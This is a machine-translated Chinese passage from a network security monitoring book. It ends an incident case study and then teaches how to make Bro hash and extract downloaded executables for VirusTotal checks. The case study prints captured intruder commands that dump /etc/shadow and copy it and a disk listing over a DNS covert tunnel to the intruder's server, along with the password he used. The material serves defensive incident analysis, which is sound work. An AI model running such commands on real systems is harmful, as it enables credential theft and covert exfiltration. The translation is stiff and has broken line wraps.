WXQSRQPTXGMIWNZFNDHOHWTCFEJDDKUF................2.......:...4服务器隧道 IP 是 10.10.0.1
列表 11-25: 来自 Iodine 服务器的输出
为了测试连接性,入侵者使用 ping 工具联系 10.10.0.1,
隧道另一端的 IP 地址,如列表 11-26 所示。
远程系统回复,隧道工作正常。NSM 传感器将无法
看到 ICMP 流量,但它将开始看到奇怪的 DNS 活动。
SRC: ...............2...........4ping -c 3 10.10.0.1
SRC: ....................core_channel_write....)....BGCEPMSGLBOFCPOHKXSKOAMVWVCRDKFU.
SRC: .
SRC: ..............2.......:...4PING 10.10.0.1 (10.10.0.1) 56(84) 字节的数据。
SRC: ...........2........core_channel_write....)....GSFTPZWPJXAREZEXEEALKFUBCUSRLPEK.
SRC: .
SRC: ..............2.......A...464 字节来自 10.10.0.1: icmp_req=1 ttl=64 时间=2.07 毫秒 SRC: ...........9........core_channel_write....)....MUNJGYKCWWYETWKFZOWTIVKVAQNLKNCQ.
SRC: .
SRC: ..............2.......A...464 字节来自 10.10.0.1: icmp_req=2 ttl=64 时间=1.15 毫秒 SRC: ...........9........core_channel_write....)....JLCWSBHPCCBTZFUVTJUYBYQVUOXEZPPF.
SRC: .
SRC: ..Q...........2...........464 字节来自 10.10.0.1: icmp_req=3 ttl=64 时间=1.12 毫秒 SRC:
SRC: --- 10.10.0.1 ping 统计 ---
SRC: 3 个数据包传输,3 个接收,0% 丢包,时间 2003 毫秒
SRC: rtt 最小/平均/最大/偏差 = 1.128/1.453/2.073/0.439 毫秒
列表 11-26:隧道连接性 Ping 测试
258 第十一章
枚举受害者
现在,入侵者开始枚举受害者。他打印出以下内容:
该 /etc/shadow 文件,其中包含密码哈希值。列表 11-27 显示了
该文件的一部分。
SRC: root@intubu32:~# ....................core_channel_write....)....
LBTPOVHNRBVNFEXWLPWAAXXSYKEYJQMW.
DST: ...|............core_channel_write....)....76703429583552950498014447957238........2......
.....4cat /etc/shadow
DST: ............
SRC: .
SRC: ..d............core_channel_write....)....76703429583552950498014447957238...............
..........
SRC: ...............2...........4cat /etc/shadow
SRC: root:!:15773:0:99999:7:::
SRC: daemon:*:15749:0:99999:7:::
SRC: bin:*:15749:0:99999:7:::
SRC: sys:*:15749:0:99999:7:::
SRC: sync:*:15749:0:99999:7:::
SRC: games:*:15749:0:99999:7:::
SRC: man:*:15749:0:99999:7:::
SRC: lp:*:15749:0:99999:7:::
列表 11-27: /etc/shadow 文件的内容
如列表 11-28 所示,入侵者使用 scp 命令复制 /etc/shadow
文件传输到 10.10.0.1,即隐蔽通道另一端的服务器。
他以用户 raybourque 登录,并将文件复制到 Ray 的主目录。
他的密码是 Bru1ns。我喜欢这个人。(注意,通过使用 scp,传输是
加密的 DNS 隐蔽通道中的内容。)
SRC: ..............2.......@...4scp /etc/shadow raybourque@10.10.0.1:/home/raybourque/
DST: ...s............core_channel_write....)....12979532812626493965961252667084........2......
.....4Bru1ns
SRC: shadow 100% 1121 1.1KB/s 00:00
列表 11-28:复制 /etc/shadow 文件
接下来,入侵者创建整个硬盘的递归目录列表
将驱动器内容放入名为intubu32.ls-alR.txt的文件中,如清单 11-29 所示。
DST: ................core_channel_write....)....67917540968083609031577076644751........2....
...(...4ls -alR / > intubu32.ls-alR.txt
清单 11-29: 创建硬盘的递归目录列表
在创建文件后,入侵者再次使用 scp 将其传输到他的
作为用户 raybourque 登录的服务器,如清单 11-30 所示。
客户端侧妥协 259
SRC: ..............2...........4scp intubu32.ls-alR.txt raybourque@10.10.0.1:/home/raybourque SRC: <32.ls-alR.txt raybourque@10.10.0.1:/home/raybourque
........................./
SRC: ....................core_channel_write....)....USSCEEVDBIGFIRWOSESCHCUWSDAZFPJS.
SRC: .
SRC: ..u...........2...........4 密码:....................core_channel_write....)....
GUTYMDXFGXQWFPYSCFKMNPZTQEKYHWYC.
DST: ...s............core_channel_write....)....56606769242836968330355877691782........2......
.....4Bru1ns
清单 11-30: 将硬盘文件列表传输到入侵者的服务器
这就是转录的结束。
总结阶段 2
在这次入侵的后半段,入侵者仍然通过
203.0.113.15,使用被盗凭证通过 SSH 从 172.16.0.37 连接
到 10.0.0.9。他将一个 DNS 隐蔽通道工具复制到第二个受害者的系统中,并
将其配置为与新的入侵者系统 203.0.113.8 通信。入侵者
激活了隐蔽通道,我们看到它通过 DNS 进行通信
请求和回复。在隐蔽通道内,入侵者复制了敏感数据
从第二个受害者 10.0.0.9 获取的数据,图 11-18 总结了
这些操作。
1. 入侵者从受害者 1 转向受害者 2\。
网络连接
入侵者 1
受害者 1
203.0.113.15
172.16.0.37
受害者 2
10.0.0.99
2. 入侵者安装 DNS 隐蔽通道工具并创建
通道到第二个入侵者系统(入侵者 2)。
网络连接
入侵者 2
受害者 2
203.0.113.8
10.0.0.99
3. 在隐蔽通道内,入侵者复制敏感
从受害者 2 到入侵者 2 的数据\。
网络连接
入侵者 2
受害者 2
203.0.113.8
10.0.0.99
图 11-18: 服务器端妥协的阶段 2 总结
260 第十一章

结论
我们对本章示例的回顾显示,入侵者非常
原始受害者 172.16.0.37 仍然活跃,并使用从
从该系统转向 10.0.0.99。初步审查 NSM 数据后,
概述了入侵的整体情况,但通过检查命令和
控制通道帮助填补了一些空白。感谢 NSM 平台
捕获完整的数据包,Vivian’s Pets CIRT 知道发生了什么
到其网络中的两个系统。
这个客户端侧的妥协示例始于一个无辜的
在 Twitter 上搜索并得出结论,两个被妥协的机器和
隐蔽通道将敏感信息传输到公司外部。我们的
网络中心的方法回答了很多关于课程的疑问
入侵,但也表明某些方面,CIRT 确实有些运气。如果
203.0.113.15 和 172.16.0.37 之间的指挥控制通道已经
已加密,CIRT 将无法了解关键细节
入侵。因此,进行主机中心的取证和
如果可能的话,准备好调查技巧,但这是另一个话题,适合其他人
别人的书!
说到推特,分析师们确实有一些关于
攻击的来源。威胁代理是可能做出错误选择的人员
选择。防御者有时可以利用这些错误选择来更好地
理解威胁并保护网络。在这个入侵的案例中,
在隐蔽通道消失几小时后,图 11-19 中显示的推文
出现了。请注意图像底部推文的文字
出现。
图 11-19:Callbackpnsm 的最后一条推文
客户端入侵 261
这条推文是文本和图片的组合。推文写着
“@ubu32pnsm 感谢你查看医疗更新。之一
我们在#获胜。 pic.twitter.com/mD4y6eIiqF。”图中显示的是
图 11-19 显示的是 Ubuntu 桌面的屏幕截图;实际上,它
显示受害者用户的系统。她以用户 Ubu32pnsm 身份登录到推特。
打开了两个 Firefox 浏览器标签。第二个标签显示了部分 URL
用于虚假的 healthcarenews 网站 203.0.113.15 上的攻击者认为
他是个有趣的人,但像这样的个性化信息可能会成为他的致命弱点。
为了不被抓住,攻击者还需要练习健全的操作
安全性很有用。
262 第十一章
12
扩展之道
到目前为止,我们一直在使用默认设置
SO 的安装。这一章介绍了
扩展它的几种方法。你只需要编辑
一些配置文件,并下载一些
外部内容来获取更多信息,从你的 SO 设置中获得更多。
为了超越“库存”SO 安装,我们将查看三种方式
利用 Bro 套件提供的附加功能:
• 使用 Bro 记录的 MD5 哈希值与 VirusTotal 或其他
第三方分析引擎。
• 配置 Bro 从网络流量中提取二进制文件,这样你就可以
将这些文档提交给第三方分析引擎。
• 将来自 Mandiant 的 APT1 报告的外部情报与 Bro 集成
生成警报数据。
本章以一个例子结束,展示了如何利用 SO 报告和
提取了恶意二进制文件的下载。
使用 Bro 来跟踪可执行文件
在尝试保护企业时,CIRT 通过了解哪些
用户下载的可执行文件。通常,这些 exe
可执行文件是人们需要完成工作的一些无害工具或软件包,但
有时是恶意软件。Bro 可以帮助你发现这类
以便保护用户免受下载的可执行文件可能带来的危害。
使用 Bro 对下载的可执行文件进行哈希计算
默认情况下,SO 附带的 Bro 版本会计算每个可执行文件的 MD5 哈希(a
文件内容的加密表示)对于每个下载的可执行文件,
通过 HTTP 加载。这些哈希值帮助我们跟踪可执行文件
用户下载的内容。例如,12-1 列表展示了 Bro 如何跟踪执行-
可下载的文件。notice.log文件记录了 Bro 生成的哈希值数据-
Bro 会记录它看到的通过 HTTP 传输的可执行文件。
2013-04-12T13:33:47+0000 mBNkJTlLBfa 192.168.2.108 49630 23.62.236.50 80
1 GET download.cdn.mozilla.net /pub/mozilla.org/firefox/releases/20.0.1/
win32/en-US/Firefox Setup 20.0.1.exeu http://www.mozilla.org/en-US/products/download.
html?product=firefox-20.0&os=win&lang=en-US Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 0 21036128 200 OK - -
-
(空) - -- application/x-dosexecv 1e39efe30b02fd96b10785b49e23913bw
列表 12-1:Bro http.log 条目用于下载 Firefox 二进制文件
你可以看到下载的Firefox Setup 20.0.1.exe,一个类型为
application/x-dosexec v,哈希值为 1e39efe30b02fd96b10785b49e23913b w。
默认情况下,Bro 会报告哈希可执行文件并写入事件日志
Bro 的notice.log文件,如列表 12-2 所示\。
2013-04-12T13:34:01+0000 mBNkJTlLBfa 192.168.2.108 49630 23.62.236.50
80 tcp HTTP::MD5v 192.168.2.108 1e39efe30b02fd96b10785b49e23913b http://
download.cdn.mozilla.net/pub/mozilla.org/firefox/releases/20.0.1/win32/en-US/Firefox
Setup 20.0.1.exeu 1e39efe30b02fd96b10785b49e23913bw 192.168.2.108 23.62.236.50
80 - sov-eth0-1 Notice::ACTION_LOG 6 3600.000000 F
列表 12-2:Bro notice.log 条目用于 MD5 计算
在这里,你可以看到下载的Firefox Setup 20.0.1.exe文件,带有 Bro 的记录-
这是一个 HTTP 请求,并且需要 MD5 哈希值 v 以及匹配-
哈希值为 1e39efe30b02fd96b10785b49e23913b w。你可以使用第三方来源
通过哈希值获取更多关于此下载的信息。
提交哈希值到 VirusTotal
VirusTotal(http://www.virustotal.com/)是一个流行的在线资源,用于
进一步了解二进制文件。除了提交实际文件外,用户
也可以将二进制文件的哈希值提交到 VirusTotal,查看这些哈希值是否
264 第十二章


在 VirusTotal 数据库中出现的。如果之前的用户已经上传
如果将具有相同哈希值的二进制文件提交给 VirusTotal,搜索该哈希值应该
揭示 VirusTotal 对之前提交的二进制文件的了解。
为了看到这个功能的实际效果,我们将提交 Bro 记录的哈希值,
来自 12-1 列表,如图 12-1 所示\。
图 12-1:提交观察到的 MD5 哈希值到 VirusTotal
几秒钟内,我们可以看到如图 12-2 所示的结果\。
图 12-2:VirusTotal 对提交的 MD5 哈希值的结果
VirusTotal 为此哈希值找到了匹配项(请注意四个角),且没有
杀毒引擎已将该二进制文件标记为恶意,如下所示
检测比率字段。
“附加信息”标签提供了更多关于二进制文件的数据
VirusTotal 已经看到匹配的 MD5 哈希,如清单 12-3 所示。
首次由 VirusTotal 看到
2013-04-10 22:10:23 UTC(6 天 20 小时前)
最后由 VirusTotal 看到
2013-04-17 15:29:15 UTC(3 小时 8 分钟前)
文件名(最多 25 个)
Firefox_Setup_20.0.1.exe
Firefox Setup 20.0.1.exe
扩展 SO 265
test.exe
7zS.sfx.exe
Firefox_Setup_20.0.1GB32.exe
TtfjHao4.exe.part
Firefox_Setup_20.0.1.exe
7zS.sfx
file-5362262_exe
Firefox%20Setup%2020.0.1.exe
清单 12-3:从 VirusTotal 获取的首次见到、最后见到和文件名信息
如加粗部分所示,引用 Firefox 安装程序的名称(Firefox_
Setup_20.0.1.exe)与我们在 Bro 日志中观察到的二进制文件相同,
但是其他文件,比如 file-5362262_exe,完全不同。
这个分析有帮助,但并不具有决定性。最好能有
二进制文件本身的副本,而不仅仅是它们的哈希值。我们可以做更多
分析与原始文物的配合使用。
使用 bro 从流量中提取二进制文件
默认情况下,Bro 使用 SO 记录通过 HTTP 下载的二进制文件的 MD5 哈希值
HTTP,但它不会提取二进制文件并将其保存到磁盘。它很简单
配置 Bro 以采取这些措施,但我们确实需要小心
需要小心,不要让传感器因为提取的二进制文件而超负荷。为了减少这种情况
潜在问题,我们将告诉 Bro 提取下载的 Windows 可执行文件
仅通过 HTTP 和 FTP。
配置 Bro 提取流量中的二进制文件
Bro 检查流量并根据默认安装中附带的策略脚本生成日志。策略脚本是分析人员使用的Bro
网络编程语言(由 Liam Randall 推广的术语)来告知
告诉 Bro 引擎该如何处理它看到的流量。
Bro 通过它创建的日志文件和消息报告它所发现的内容
使用其通知框架。(建议你保留默认脚本
独立使用,并且对在/opt/bro/share/中找到的策略脚本进行更改
bro/site/ 目录。)
重新配置 Bro,以提取通过 Windows 下载的可执行文件
HTTP 和 FTP,我们首先通过创建一个地方来存储提取的内容
这个命令:
$ sudo mkdir -p /nsm/bro/extracted/http/ /nsm/bro/extracted/ftp/
接下来,我们创建 local.bro 策略脚本的副本以备份。
$ sudo cp /opt/bro/share/bro/site/local.bro /opt/bro/share/bro/site/local.bro.orig 266 第十二章
现在我们编辑 local.bro 文件。(我使用的是 vi 编辑器,但可以使用你喜欢的任何编辑器,例如与 SO 一起捆绑的 Leafpad 程序。)
$ sudo vi /opt/bro/share/bro/site/local.bro
清单 12-4 显示了需要添加到 local.bro 文件底部的内容。
第四章:提取 EXE 文件
重定义 HTTP::extract_file_types += /application/x-dosexec/;u
重定义 FTP::extract_file_types += /application/x-dosexec/;v
提取文件到 /nsm/bro/extracted/
重定义 HTTP::extraction_prefix = "/nsm/bro/extracted/http/http-item";
重定义 FTP::extraction_prefix = "/nsm/bro/extracted/ftp/ftp-file";
列表 12-4:在本地 .bro 文件的末尾添加内容,启用 Windows 可执行文件 提取功能,适用于 HTTP 和 FTP
如果你希望 Bro 从简单邮件传输协议(SMTP)中提取可执行文件,
协议(SMTP)也是如此,你可以添加类似于那些行的更多内容
列表 12-4,将 HTTP 替换为 SMTP。支持从
使用相同的方法可以进行 Internet Relay Chat(IRC)。要提取
除了 Windows 可执行文件外,你还可以调整 u 和 v,使得
应用程序部分读取如下内容:
/application/.*/;
将 x-dosexec 替换为 .* 告诉 Bro 提取它能识别的任何应用程序类型
识别。你不应在生产环境中运行这种配置
因为你可能会使传感器过载,它会尝试重建并写入每个—
这是 Bro 识别的内容。仅在处理保存的跟踪数据时使用 /application/.*/;
在有限的流量情况下。
现在我们已经修改了 Bro 的 local.bro 策略脚本,让我们测试一下新的
功能。
收集流量来测试 Bro
当向 Bro 和你的 SO 安装添加新功能时,你应该
在提交之前,手动测试这些更改。Bro 允许你运行
策略脚本和其他功能将基于保存的流量进行测试,我们将这样做
测试它的新配置能力,从数据包中提取二进制文件。
为了提供此测试的流量,我们将下载 Windows SSH
通过 HTTP 和 FTP 客户端 PuTTY。PuTTY 网站( http://www.chiark
.greenend.org.uk/~sgtatham/putty/download.html 提供了下载链接
通过 HTTP 下载 PuTTY( http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)和 FTP( ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-latest/x86/putty)
.exe),这为我们提供了测试 Bro 所添加功能的方法。为了保存测试流量,我们将确定托管的两个服务器的 IP 地址
putty .exe 通过 HTTP( the.earth.li)和 FTP( ftp.chiark.greenend.org.uk),如列表 12-5 所示,使用 Linux 主机命令在终端窗口中执行。
扩展 SO 267

$ host the.earth.li
the.earth.li 的地址是 46.43.34.31u
the.earth.li 的 IPv6 地址是 2001:41c8:10:b1f:c0ff:ee:15:900d
the.earth.li 邮件由 10 mail.the.earth.li 处理。
$ host ftp.chiark.greenend.org.uk
ftp.chiark.greenend.org.uk 是 service-name.chiark.greenend.org 的别名。
uk。
service-name.chiark.greenend.org.uk 的地址是 212.13.197.229v
service-name.chiark.greenend.org.uk 邮件由 0 处理。
列表 12-5:确定 HTTP 和 FTP 下载服务器的 IP 地址
接下来,我们运行两个 Tcpdump 实例:一个配置为记录流量
监控与位于 46.43.34.31 的 HTTP 服务器之间的流量,另一个用于记录与
和位于 212.13.197.229 的 FTP 服务器之间的流量。确保先运行第一个命令:
在一个终端中运行命令,监控 HTTP 流量:
$ sudo tcpdump -n -i eth0 -w http-putty.pcap -s 0 host 46.43.34.31
在另一个终端中运行第二个命令,监控 FTP 流量:
$ sudo tcpdump -n -i eth0 -w ftp-putty.pcap -s 0 host 212.13.197.229
现在我们访问 PuTTY 下载网站,如图 12-3 所示,
通过 HTTP 下载 putty.exe,然后通过 FTP。
图 12-3:PuTTY 网站下载
下载完成后,通过按下 ctrl-C 停止每个 Tcpdump 实例,
按下 ctrl-C 后,然后使用 Capinfos 查看每个跟踪的元数据,
如列表 12-6 所示。
$ capinfos putty-http.pcap putty-ftp.pcap
文件名:putty-http.pcap
文件类型:Wireshark/tcpdump/... - libpcap
文件封装:以太网
包大小限制:文件头:65535 字节
数据包数量:509
文件大小:521880 字节
数据大小:513712 字节
-- 剪辑 --
268 第十二章
文件名:putty-ftp.pcap
文件类型:Wireshark/tcpdump/... - libpcap
文件封装:以太网
包大小限制:文件头:65535 字节
数据包数量:558
文件大小:525649 字节
数据大小:516697 字节
-- 剪辑 --
列表 12-6:HTTP 和 FTP 跟踪的 Capinfos 输出
测试 Bro 提取 HTTP 流量中的二进制文件
准备好测试流量数据后,让我们运行 Bro 处理每个跟踪,看看
它生成的日志。列表 12-7 运行 Bro 处理 putty-http.pcap 文件,并告诉 Bro 引用我们修改过的 local.bro 文件 v。(注意,我在一个名为 bro-http 的目录中运行这些命令,以便将第二次测试 FTP 的输出与其分开。)
$ sudo bro -r putty-http.pcapu /opt/bro/share/bro/site/local.brov
警告:未定义 Site::local_nets。通常建议
定义你的本地网络。
警告:BPFConf 文件名中剩余的模板值:/etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
行 99)
列表 12-7:运行 Bro 处理保存的 HTTP 流量
现在我们可以看到 Bro 生成了哪些日志。首先,我们来看一下内容
当前工作目录,如列表 12-8 所示。
$ ls -al
总计 560
drwxrwxr-x 3 sov sov 4096 4 月 17 19:33 .
drwxr-xr-x 29 sov sov 4096 4 月 17 19:32 ..
-rw-r--r-- 1 root root 280 4 月 17 19:33 capture_loss.log
-rw-r--r-- 1 root root 763 4 月 17 19:33 conn.log
-rw-r--r-- 1 root root 1376 4 月 17 19:33 http.logu
-rw-r--r-- 1 root root 7888 4 月 17 19:33 loaded_scripts.log
-rw-r--r-- 1 root root 938 4 月 17 19:33 notice.log
-rw-r--r-- 1 root root 1128 4 月 17 19:33 notice_policy.log
-rw-r--r-- 1 root root 251 4 月 17 19:33 packet_filter.log
-rw-r--r-- 1 root root 521880 4 月 17 17:53 putty-http.pcap
-rw-r--r-- 1 root root 951 4 月 17 19:33 reporter.log
drwx------ 3 root root 4096 4 月 17 19:33 .state
列表 12-8:通过运行 Bro 处理保存的 HTTP 流量生成的日志
现在让我们更详细地查看 http.log 文件,使用 cat 和
同时运行 bro-cut 命令,如列表 12-9 所示。-d 标志
告诉 bro-cut 显示一个人类可读的时间戳,-C 告诉它预处理
保留文件头,以显示当前存在的字段。
扩展 SO 269
$ cat http.log | bro-cut -d -C
separator \x09
set_separator ,
empty_field (空)
unset_field -
path http
open 2013-04-17-19-33-23
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p trans_
depth method host uri referrer user_agent request_body_len
response_body_len status_code status_msg info_code info_msg filename tags username password proxied mime_type md5 extraction_file
types string string addr port addr port count string string string string string count count count string count string string table[enum] string string table[string] string string file
2013-04-17T17:53:28+0000u cSb1GfCIIL9w 192.168.2.108 53999 46.43.34.31
80 1 GET the.earth.li /~sgtatham/putty/latest/x86/putty.exez http://
www.chiark.greenend.org.uk/~sgtatham/putty/download.html Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 0 300 302y Found - - - (空) - - - text/html - -
2013-04-17T17:53:28+0000v cSb1GfCIIL9x 192.168.2.108 53999 46.43.34.31
80 2 GET the.earth.li /~sgtatham/putty/0.62/x86/putty.exe{ http://
www.chiark.greenend.org.uk/~sgtatham/putty/download.html Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 0 483328
200| OK - - - (空) - - - application/
x-dosexec a3ccfd0aa0b17fd23aa9fd0d84b86c05~ /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat}
close 2013-04-17-19-33-23
列出 12-9:Bro ht p.log 的 HTTP 传输
两个日志条目 u 和 v 显示了通过单一的 Web 连接传输的流量
由于 Bro 将相同的跟踪 ID w 和 x 分配给了两个记录,因此该事务
在第一个记录 u 中,网络服务器回复了一个 302 代码 y,指示
从 /~sgtatham/putty/latest/x86/putty.exe z 下载到 /~sgtatham/
putty/0.62/x86/putty.exe {. 在第二个记录 v 中,网络服务器回复了一个 200 代码 |,显示它拥有请求的文件。最后,第二个记录
显示 Bro 将 putty.exe 提取到特定的目录和文件,/nsm/bro/
extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat }。我们
我们也有该文件的 MD5 哈希,a3ccfd0aa0b17fd23aa9fd0d84b86c05 ~。
Bro 正在处理我们预期的 HTTP 流量。
检查从 HTTP 中提取的二进制文件
现在我们有了指示 Bro 从 HTTP 流量中提取文件的标识符,
我们可以在磁盘上检查它。列表 12-10 显示了该分析的结果。
270 第十二章

$ ls -al /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat
-rw-r--r-- 1 root root 483328u Apr 17 19:33 /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat
$ file /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat
/nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_resp_2.
dat: PE32 可执行文件(GUI)Intel 80386,适用于 MS Windowsv
$ md5sum /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat
a3ccfd0aa0b17fd23aa9fd0d84b86c05w /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat
列表 12-10:检查从 HTTP 流量中提取的二进制文件
这里,我们看到提取的文件大小为 483,328 字节 u,文件
类型为 PE32 可执行文件(GUI)Intel 80386,适用于 MS Windows v 和一个哈希值
(a3ccfd0aa0b17fd23aa9fd0d84b86c05 w) 与 Bro 匹配的值
在列表 12-9 中报告的结果。
为了确认哈希值与下载的二进制文件的值是否匹配
对于 Windows 系统,我们查看文件属性,如图 12-4 所示\。
我使用了 Implbits 的 HashTab(http://www.implbits.com/hashtab.aspx)来生成-
在属性对话框的文件哈希选项卡中生成了这些哈希值。
图 12-4:putty .exe 的文件属性,显示
相同的 MD5 哈希值
扩展 SO 271
测试 Bro 从 FTP 流量中提取二进制文件
与我们的 HTTP 测试一样,我们可以运行 Bro 对 FTP 示例进行分析,以查看
它创建的日志。列表 12-11 演示了运行 Bro 对 putty-ftp.pcap u 进行分析,并告诉 Bro 再次引用我们修改过的 local.bro v 文件。(注意,我在一个名为 bro-ftp 的目录中运行这些命令,以便将输出与 HTTP 测试结果分开。)
$ sudo bro -r putty-ftp.pcapu /opt/bro/share/bro/site/local.brov
警告:未定义任何 Site::local_nets。通常最好
定义你的本地网络。
警告:BPFConf 文件名中仍有模板值:/etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
line 99)
列表 12-11:运行 Bro 对保存的 HTTP 流量进行分析
我们现在可以看到 Bro 生成了哪些日志。首先,我们检查 con-
当前工作目录的内容,如列表 12-12 所示\。
$ ls -al
total 560
drwxrwxr-x 3 sov sov 4096 4 月 17 20:30 .
drwxr-xr-x 29 sov sov 4096 4 月 17 20:30 ..
-rw-r--r-- 1 root root 281 4 月 17 20:30 capture_loss.log
-rw-r--r-- 1 root root 1531 4 月 17 20:30 conn.log
-rw-r--r-- 1 root root 731 4 月 17 20:30 ftp.logu
-rw-r--r-- 1 root root 7888 4 月 17 20:30 loaded_scripts.log
-rw-r--r-- 1 root root 1128 4 月 17 20:30 notice_policy.log
-rw-r--r-- 1 root root 251 4 月 17 20:30 packet_filter.log
-rw-r--r-- 1 root root 525649 4 月 17 18:07 putty-ftp.pcap
-rw-r--r-- 1 root root 951 4 月 17 20:30 reporter.log
drwx------ 3 root root 4096 4 月 17 20:30 .state
列表 12-12:运行 Bro 对保存的 FTP 流量进行分析时生成的日志
让我们来看一下 ftp.log u。列表 12-13 显示了同时使用 cat 和 bro-cut 命令的结果。
$ cat ftp.log | bro-cut -d -C
separator \x09
set_separator ,
empty_field (empty)
unset_field -
path ftp
open 2013-04-17-20-30-56
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p user password command arg mime_type mime_desc file_size reply_code reply_msg tags extraction_file
272 第十二章
types string string addr port addr port string string string string string string count count string table[string] file
2013-04-17T18:06:59+0000u 3JGazzdNGmev 192.168.2.108 54104 212.13.197.229
21 匿名用户 w chrome@example.comx RETR ftp://212.13.197.229/users/
sgtatham/putty-latest/x86/putty.exey 应用程序/x-dosexec MS-DOS 可执行文件,MZ 适用于 MS-DOSz 86 226 传输完成{ - /nsm/bro/extracted/ftp/ftp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat|
close 2013-04-17-20-30-56
清单 12-13:Bro ftp .log 用于 FTP 传输
这一条日志记录追踪了一个单独的 FTP 会话,因为 Bro
分配了一个跟踪 ID v 给该会话。这里,我们看到
通过 Google Chrome 下载二进制文件。提供的用户名是
匿名用户 w,密码是 chrome@example.com x。我们看到
检索的文件,putty-latest/x86/putty.exe y,是 MS-DOS 可执行文件类型,MZ
MS-DOS z。我们还看到传输成功完成 { 和
表明 Bro 提取了它观察到的二进制文件:/nsm/bro/extracted/ftp/
ftp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat |下载的。
检查从 FTP 提取的二进制文件
现在我们有了指示,表明 Bro 从 FTP 流量中提取了一个文件,
我们可以在磁盘上查看它。清单 12-14 显示了该分析的结果。
在这个例子中,我们只确认 MD5 哈希值与我们
如我们之前看到的。
$ md5sum /nsm/bro/extracted/ftp/ftp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat a3ccfd0aa0b17fd23aa9fd0d84b86c05u /nsm/bro/extracted/ftp/ftp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat
清单 12-14:检查从 FTP 流量提取的二进制文件
注意到 MD5 哈希值 u 与 HTTP 中列出的值匹配
示例,清单 12-10 和图 12-4\。
提交哈希值和二进制文件到 VirusTotal
现在我们既有二进制文件的哈希值,也有该二进制文件本身(已恢复)
从网络流量中恢复的文件),我们可以将其提交到 VirusTotal 进行分析。
而在图 12-1 中,我们仅提交了一个二进制文件的哈希值进行分析,
在这一节中,我们将提交哈希值,然后是二进制文件,以便进行比较
结果。在图 12-5 中,我们提交了哈希值。
图 12-6 显示 VirusTotal 知道这个哈希值的信息。
该分析的结果有些混合,两个杀毒引擎
(在检测率字段中)报告与此哈希值关联的文件为
恶意的!不过,我们知道这个文件是合法的,因为我们是从
从发布者的网站下载的。如果我们仍然怀疑,可以使用
使用 PuTTY 下载页面上发布的加密签名来验证
扩展 SO 273


我们下载的文件就是网站上发布的文件,但这将是
只确认有人访问了私钥并发布了一个二进制文件
由该密钥签名。(在数字世界中,信任也是有限的。)
图 12-5:提交 putty .exe 哈希值给 VirusTotal
图 12-6:VirusTotal 对提交的 MD5 哈希值的结果
VirusTotal 发布了其他信息以及病毒扫描结果,
如运行 Mark Russinovich 的 Sigcheck 的输出(http://technet
.microsoft.com/en-us/sysinternals/bb897441.aspx),它检查确认
一个文件是否被数字签名,正如在列表 12-15 中所示。
Sigcheck
发布者................: Simon Tatham
产品..................: PuTTY 套件
内部名称............: PuTTY
版权................: Copyright (c) 1997-2011 Simon Tatham。
原始名称............: PuTTY
文件版本.............: Release 0.62
描述..............: SSH、Telnet 和 Rlogin 客户端
列表 12-15:VirusTotal 报告 Sigcheck 结果。
Sigcheck 的结果似乎确认我们提交的哈希值与
这是由之前的 VirusTotal 用户上传的 PuTTY 二进制文件。
我们还可以上传 Bro 为我们提取的二进制文件,如所示
图 12-7\。
274 第十二章

图 12-7:提交从 HTTP 流量中提取的二进制文件
VirusTotal 已经知道这个二进制文件,它应该知道:它是 Bro 的二进制文件
提取出来,我们刚刚看到它的哈希值已经为 VirusTotal 所知。
这种通用的方法展示了如何扩展 Bro,以提取
来自 HTTP 和 FTP 流量的 Windows 二进制文件。然而,当前实例
Bro 正在运行,并且内存中有之前的配置文件。除非
如果我们重新启动 Bro,它不会知道将新的local.bro配置文件应用到运行中的配置。
重启 Bro
直到你重新启动 Bro,或者重启 SO 系统,Bro 将继续运行
使用原始local.bro脚本加载的情况下。为了利用 Bro 从网络流量中提取 Windows 可执行文件的能力,我们需要
Bro 重新读取其local.bro脚本。为了告诉 Bro 处理该脚本,使用 broctl 界面,如列表 12-16 所示。
$ sudo broctlu
欢迎来到 BroControl 1.1
输入"help"以获取帮助。
[BroControl] > checkv
管理员一切正常。
代理一切正常。
sov-eth0-1 一切正常。
[BroControl] > installw
删除旧政策,在/nsm/bro/spool/installed-scripts-do-not-touch/site 中... 完成。
删除旧政策,在/nsm/bro/spool/installed-scripts-do-not-touch/auto 中... 完成。
创建政策目录... 完成。
安装站点政策... 完成。
生成 cluster-layout.bro... 完成。
生成 local-networks.bro... 完成。
扩展 SO 275
生成 broctl-config.bro... 完成。
更新节点... 完成。
[BroControl] > restartx
停止...
停止 sov-eth0-1 ...
停止代理...
停止管理员...
启动中...
启动管理员...
启动代理...
启动 sov-eth0-1 ...
。
[BroControl] > exity
列表 12-16:使用 broctl 重新配置 Bro
在列表 12-16 中,broctl 是从启动的终端运行的
broctl 接口并接受命令。接下来,我们运行检查命令 v
用来确定 Bro 读取的配置文件是否格式正确。如果是的话,
Bro 报告状态为正常,我们将其安装并继续。接下来,我们重启 Bro x,
在看到组件重启后,我们退出 broctl 接口 y。
